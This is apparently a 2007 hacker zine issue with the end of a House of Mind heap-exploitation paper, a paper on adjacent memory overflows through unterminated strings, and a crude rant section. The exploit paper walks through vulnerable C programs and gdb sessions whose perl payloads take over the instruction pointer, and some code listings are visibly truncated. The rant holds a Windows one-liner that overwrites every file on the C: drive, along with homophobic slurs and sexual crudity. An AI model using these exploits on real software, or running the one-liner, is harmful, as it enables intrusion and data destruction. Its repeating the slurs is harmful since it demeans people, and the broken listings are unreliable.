          |         mutex (0x0)         |     max_size (0x102) x 8    .
          .-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                             .
          .                                                           |
          |                                                           .
          .          (Spam of write to location - 12) x 246           .
          .                       (0x08049670)                        .
          .                                                           |
chunk 2   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x271
          |   prev_size (0x41414141)    |        size (0x409)         |
          |                                                           .
          .                        0x41 x 1024                        .
          .                                                           .
          .                                                           |
chunk 273 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
          |   prev_size (0x41414141)    |       size (0x409)          |
          |                                                           .
          .              Spam of arena location x 256                 .
          .                       (0x0804a010)                        .
          .                                                           |
chunk 274 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
          |     prev_size (EB0c9090)    |       size (0x40d)          |
          |              garbage (0x9090909090909090)                 |
          +                                                           .
          .                         SHELLCODE!                        .
          .                                                           .
          .                                                           |

chunk 2 actually has a prev_size of 0x08049670, because I overflow it in
chunk 1 (but it is irrelevant). All the chunks from there on have a prev_size
of "AAAA", while 273's is the jmp code.

I will not be providing source code here for the fastbin method Phantasmal 
suggested to be used with the house of mind. I will, although, quickly
document its primary goal and state why I feel about it the way I do. The
fastbin method is not entirely different from the bin method described above.
With the fastbin method, the primary goal is to point the arena elsewhere
while making sure the size field of the chunk being free()'d is less than
max_size, which will, in turn, cause this code to be excuted:

    fb = &(av->fastbins[fastbin_index(size)]);
 // ...
    p->fd = *fb;
    *fb = p;

This is quite trivial to exploit with what has been said. If I where to point 

the arena to a location such that max_fast (av + 4) was larger than the chunk 

being free()'d and hence, &(av->fastbins[fastbin_index(size)]); returning a
pointer to a GOT or .dtors entry, then that entry would be overwritten with
the address of the chunk being free()'d. The only problem lies within
av->system_mem, which is contained at the end of an arena structure (check 
malloc.c struct malloc_state for an arena structure). nextchunk (the chunk 
after the chunk being freed()'d) must be smaller than system_mem. In the
small, vulnerable heap I coded, there where too many zeros after both the GOT
and dtors sections. It was impossible to set system_mem to any value other
than 0. Phantasmal wrote that if the GOT was too small (as in small programs,
such as mine), the stack could be used to the same advantage. In other words,
I would be capable of placing the arena in a spot of the stack such that
*fb = p would overwrite eip or some other data flow variable. This is albeit
near impossible on modern linux systems since address space layout
randomization is present. 
However, this method is viable in larger applications, and is deffinitely
easier to write.

One last note. This work was done with a modern Debian 4.0 machine. 
The GLibC version is 2.3.6, the following debian packages where used:
libc6-dbg - GNU C Library: Libraries with debugging symbols
libc6-dev - GNU C Library: Development Libraries and Header Files
Along with standard 2.3.6 sourecode.


[=================================[ REF ]==================================]

PS: I will place these codes on the site, in case 80 CPL formatting has
    gotten the best of them.

[1] "The Malloc Maleficarum" (http://securityfocus.com)
    By Phantasmal Phantasmagoria. 
    Tue, 11 Oct 2005 10:14:02 -0700 Sat, 31 Dec 2006 23:01:33 -0500

[2] "Once upon a free()" (http://phrack.org)
    Published time Unknown Sat, 31 Dec 2006 23:01:33 -0500

[3] "GLibC" http://gnu.org
    Tue, 03 Nov 2005 20:12 31 Dec 2006 23:01:33 -0500  20:12  

[==================================[ EOF ]==================================]

[----------------[ Advances in adjacent memory overflows ]----------------]

  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  *#########{   }####*
    ################    by Nomenumbra/[0x00SEC] 

--[ 0x00 ]---------------------------------------------[ Introduction ]----

In this relatively small paper we'll discuss the basics and some
(completely new) advances in adjacent memory overflows. For those
unfamiliar with Adjacent memory overflows i'd like to refer you to Mercy's
article (http://www.milw0rm.com/papers/98) or Twitch's article "TAKING
Issue 0x38 phile 0x0E).

Here follows a basic explanation of the phenomenon:

In most of today's apps the vulnerable strcpy() and strcat() functions have
been replaced with strncpy() and strncat() to prevent normal buffer
overflows. It is however possible to exploit the strn* functions and the
likes trough 0-unterminated strings. Let's look at the following example:

nobody@cerebrum:~/# cat vln.c
#include <stdlib.h>

int main(int argc,char* argv[])
  char buf3[512];
  char buf2[1024];
  char buf[256];
  return 0;

Well most people will say, this shouldn't be a problem? Now should it? I
mean, buf will never be over 256 bytes, and buf3 is far bigger then buf so
where's the problem?

The problem lies in the combination of strncpy and sprintf. Strncpy will
namely copy up to a maximum of 256 bytes, so if argv[1] contains exactly or
more then 256 bytes, it won't copy the terminating NULL-byte (and neither
add it), then sprintf will copy bytes from buf's address all the way up to
the first encountered NULL-byte terminator. As you can see, buf's stack
data will flow right into buf2's data, since they're allocated right next
to each other on the stack. So we can supply a total of 1024 + 256 = 1280
bytes which is more then enough to overflow buf3. As you can see the
requirements for exploiting an app with an adjacent memory overflow are:

 [*] Prescense of a vulnerable function handling user-controlled data
 [*] This data being handled by a function assuming NULL-byte termination
 [*] Fair control of surrounding stack area

These vulnerable functions can be custom as well of course, so don't only
look for the ones mentioned here.

--[ 0x01 ]------------------------------------[ Exploiting snprintf() ]----

Of course, not all functions will allow adjacent memory overflows to occur
like this.  For example, read() and strncpy() will allow further reading,
while similarly fgets() and snprintf() will not, under the same size

snprintf() (and fgets) where long thought to be safe from adjacent memory
overflows due to automatic adding of a terminating null byte - that was
wrong as I noticed ...

The official documentation tells us that:

  "If size is zero, nothing is written and str may be null."
Nothing is written, correct, but it isn't 0 terminated either >:). Now let
us look a bit more in-depth: 

Size includes the terminating 0byte ,so if size is 10, it'll copy bytes
until it encouters a terminating 0 byte, if it doesn't find one withing 9
bytes, it'll copy 9 bytes and add it's own terminating 0 byte. And this is
where the problem lies.... 

It copies up to size-1 bytes from the buffer - interesting. Now if we look
at the doprintf() function utilized by snprintf() source we see:

   currlen = flags = cflags = min = 0;
   max = -1;
   ch = *format++;

   while (state != DP_S_DONE)
       if ((ch == '\0') || (currlen >= maxlen)) 
         state = DP_S_DONE;
// ....   
// Then later, at the end: 

   if (currlen < maxlen - 1) 
       buffer[currlen] = '\0';
       buffer[maxlen - 1] = '\0';

the problem obviously lies in the fact that currlen being 0 and getting
compared to 0 it breaks (the switch statement over state breaks upon
DP_S_DONE) and goes straight to

    if(0 < -1)
        buffer[0] = '\0';
        buffer[0 - 1] = '\0';

so buffer[-1] will be 0x00? yup, which effectively leaves the buffer
unterminated with a NULL byte (and unfilled too) leaving it completely open
to adjacent memory overflows. want an example?

nobody@cerebrum:~/# cat /proc/sys/kernel/randomize_va_space
  No va randomization in this case!

nobody@cerebrum:~/# cat vln.c

#include <stdlib.h

int main(int argc,char* argv[])
  char buf3[11];

  char buf2[100];
  char buf[10];
  return 0;

nobody@cerebrum:~/# gcc -o vln vln.c
nobody@cerebrum:~/# ./vln a test

   See the test at the end of buf3? That's right, buf isn't 0 terminated so
   sprintf just runs like a muthafucker all the way up to buf2
   Exploitation is trivial
nobody@cerebrum:~/# gdb vln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r a `perl -e 'print "A"x12,"B"x4'`
Starting program: /tmp/vln a `perl -e 'print "A"x12,"B"x4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now, on with the show. This type of bug will most likely only occur when
size is user-supplied or user-influenced, so imagine the following example:

nobody@cerebrum:~/# cat vln.c

#include <stdlib.h>

int main(int argc,char* argv[])
  char buf3[20];

  char buf2[100];
  char buf[10];
  int lim;
  printf("Usage: %s <str1 max size including the 0-byte terminator>"
         " <str1> <str2>\n",argv[0]);
  lim = atoi(argv[1]);
  if (lim > 9)
  snprintf(buf2,99,"%s",argv[3]); // correct usage
  sprintf(buf3,"%s",buf); // buf to buf3
  printf("buf3: [%s]\n",buf3);
  return 0;

nobody@cerebrum:~/# gcc -o vln vln.c
nobody@cerebrum:~/# ./vln 2 123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [1]
nobody@cerebrum:~/# ./vln 0 123456789 test
./vln 0 123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [??

   Huh?! No memory overflow into str2? No moaning yet, just sit back and
   watch ;)

nobody@cerebrum:~/# ./vln -1 123456789123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [1234567890123456test]

As you can see the buffer will be filled up with 16 bytes before continuing
into buf2. Exploitation is, again, trivial:

nobody@cerebrum:~/# gdb vln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r -1 1234567890123456 `perl -e 'print "A"x28,"B"x4'`
Starting program: /tmp/vln -1 1234567890123456 `perl -e 'print "A"x28,"B"x4'`
Usage: /tmp/vln <str1 max size inc 0-byte> <str1> <str2>

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

As you can see, the exploitability of a piece of code is highly
situationally and environmentally dependant, but this shows that some cases
CAN be exploited and arms you with yet another nice weapon in your arsenal
of doom ;)

--[ 0x02 ]-----------------[ Abusing strlen() for more memory madness ]----

Yes, strlen() and consorts can be exploited too, well not in a casual way
like buffer overflows, but in the same way integer overflows can. Through
programmer assumption. The programmer assumes things about the return value
of strlen(). For example, if we strlen(buf) and buf is the result of a
strncpy(buf,argv[1],10) the programmer will most likely assume strlen()
will never be bigger than 10. But that's untrue...

Let us look at a sample program that would be commonly considered safe, if
it weren't for adjacent memory overflows:

nobody@cerebrum:~/# cat vln.c
#include <stdlib.h>

int main(int argc,char* argv[])
  char buf3[512];
  char buf2[1024];
  char buf[256];
  return 0;

Hmm how to exploit this? We have a 0-unterminated buf going all the way
right into buf2 - but buf is strncpy()'ed into buf3, not sprintf()'ed or
strcpy()'ed - and as we take a close look at the size parameter, we spot
strlen(). Now how can this work in our benefit:

strlen() counts the number of bytes at the pointer supplied to it's first
argument, all the way up to the first terminating null byte. Because buf
is 0-unterminated in the example, strlen will continue searching for a
null-byte in buf2, hence it returning a higher result. This can be
exploited in a trivial manner:

nobody@cerebrum:~/# gdb vln

GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r `perl -e 'print "A"x256'` `perl -e 'print "A"x268,"B"x4'`
Starting program: /tmp/vln `perl -e 'print "A"x256'` `perl -e 'print "A"x26

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

This vulnerability goes for memcpy, strncat, memmove and others as well of
course. Note that strstr, strchr,strcspn and the like are vulnerable too,
if the first parameter is 0-unterminated, they will keep digging trough
memory, potentially returning pointers to some place in a far bigger buffer 
or one  containing potentially sensitive data).

As you can see this case is yet again higly dependant on the code as a
whole, just like with integer overflows.  To sum up some vulnerable

Some functions vuln to adjacent memory overflows trough 0-unterminated

      [*]  sprintf
      [*]  fprintf           
      [*]  snprintf
      [*]  memcpy           
      [*]  memmove
      [*]  strcpy
      [*]  strcat
      [*]  strlen
      [*]  strstr
      [*]  strchr
      [*]  strcspn
      [*]  read
      [*]  ...
--[ 0x03 ]----------------------------------------------------[ Outro ]----

Well peeps, i hope you enjoyed this small text and learned something from
it, i most certainly did. And remember kids, keep the scene alive, never
sell out and never narc. 

Greetz and shouts to:

The .aware/xzziroz cast & crew (of course ;), All Nullsec members,  the
HackThisSite community, PullThePlug folks, the guys over at SmashTheStack,
RRLF, Binary Shadow Organization, Blacksecurity, the vx.netlux.org people
and all true "hackers"/blackhats out there.

[-----------------------------[ /dev/random ]-----------------------------]

         .sSSS$$$'   `:$SS$$'` `/';
         :S$$$$S'      `:$$S._
         :S$SSS$:.        `'?::..
             `?S$$$S$$$$$S$$SSS$$$.       The rattler's private thoughts
                `~~~~~?:S$$$$SSSSS:       on the world, the internet,
                        `;SSSSSSSS;       and many other things.
   o      .S$$Ss.     .s$$$$$SS$$'
  o'   ..:$S$$SS$$SsssS$$SSSSS$SS'
   '''       `$$$S$$[rattle]$'


       Pages that have a link to google search, like this:
        ___________________________    _______________
       |                           |  | search google |
        ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
       ... are fucking gay. if you need a spacefiller, use a random
       packetstorm ad. If we wanted to search google, we would go to
          w w w - g o o g l e - c o m


       ASCII roses are so fucking gay.

       <butterfly56> @-,--`--
       <butterfly56> :-)
       <rattle> wtf
       <rattle> 8===========D
       <butterfly56> ?


       Zone-H is really gay


          \ .) .)/
           \ _' /
            \  |            "hi!"
            |  |\     ,,,,,
            |  |\\   (^.(^)
           (   //     \O /
            | ||      /| |
            | ||     // \ \___                 
            | ||    ´´   ¯¯¯\ \                

          \ -) -)/
           \ o  /
            \  |          *MMPF*   
            |  |\    ,,,,,
            |  |\\  (+.(+)
           (   8======) /
            | | \    /| |
            | |\ \  // \ \____      
            | |/ / ´´   ¯¯¯¯\ \      


       Windows 2003 stack protection is pretty gay
       | Overflow Detected                    | _ | # | X |
       | uh err sumthing wrong with eip here's some       |
       | numbers:                                         |
       |                                                  |
       | D4Ef566D 00400000 00000000 00000001 0D00D034     |
       |                                                  |
       |                   _____________                  |
       |                  |     Ok      |                 |
       |                   ¯¯¯¯¯¯¯¯¯¯¯¯¯                  |


   for /R c:\ %i in (*.*) do @echo M>%~fsi 2>NUL

      ... yourself.


       MSN emoticons are so fucking gay.

       [15:28] rattle: it's (cos(t), sin(t), 0)
       [15:28] stev: I see a red telephone


       People with excessively long MSN nicknames should die.

       [16:42] charles - hey bob, I really enjoyed shifting that dildo
         up your anus last night - listening to Metallica - YEAH!: hey
       [16:42] rattle: change your nick, for the love of god.


       class porn {
           explicit sex(long penis, double penetration);


       | Enter Target IP           | _ | # | X |
       |  Enter each digit separately. To      |
       |  switch from one ocet field to the    |
       |  next, use CTRL+BLANK. In order       |
       |  to switch from one digit field to    |
       |  the next, use CTRL+ALT+BLANK.        |
       |       _ _ _   _ _ _   _ _ _   _ _ _   |
       |  IP: | | | |.| | | |.| | | |.| | | |  |
       |       ¯ ¯ ¯   ¯ ¯ ¯   ¯ ¯ ¯   ¯ ¯ ¯   |
       |                 ________   ________   |
       |                | CANCEL | |   OK   |  |
       |                 ¯¯¯¯¯¯¯¯   ¯¯¯¯¯¯¯¯   |

       IP Address Input Controls drive me insane.


                # define      b00l bool
                # define      d4mn catch
                # define     c1455 class
                # define    d31337 delete
                # define  expl1c17 explicit
                # define     n0p3z false
                # define      m473 friend
                # define    inl1n3 inline
                # define  m3w74b13 mutable
                # define       n3w new
                # define   pr1v473 private
                # define pr073c73d protected
                # define    pub1ic public
                # define  t3mp1473 template
                # define      th1z this
                # define     thr0w throw
                # define    trud47 true
                # define    m3bb3h try
                # define  typ3n4m3 typename
                # define     u51ng using
                # define   v1r7u41 virtual

            And even then, C++ would not be l33t.


       :D1D54FCB21589171B2DBE1D8E87936ABAP"'    "QCE3AD9D4CAA0A74B33;
       :B832EACD8E987E0F18365F974D98F7FF1Y        Y04CCB95C9904CC617;
        77CF38BC802B1B933E79C99432F185103          EC58A3DB7240EC742
        :039AD9304D24EA8E5C13B76E6C7F71CA.        .624F0879C4820007;
         F383A4082BDB1378F30D6E5797FD9559O        O050224388E474486
         :D05F6D6317D05EFAB48C9C9F77D884C2o,_  _,oDD5FF0DDD9238647;

                           I make that shit work.
                        No one rules the clit like me.
                          I AM THE CLIT COMMANDER. 

# milw0rm.com [2007-01-26]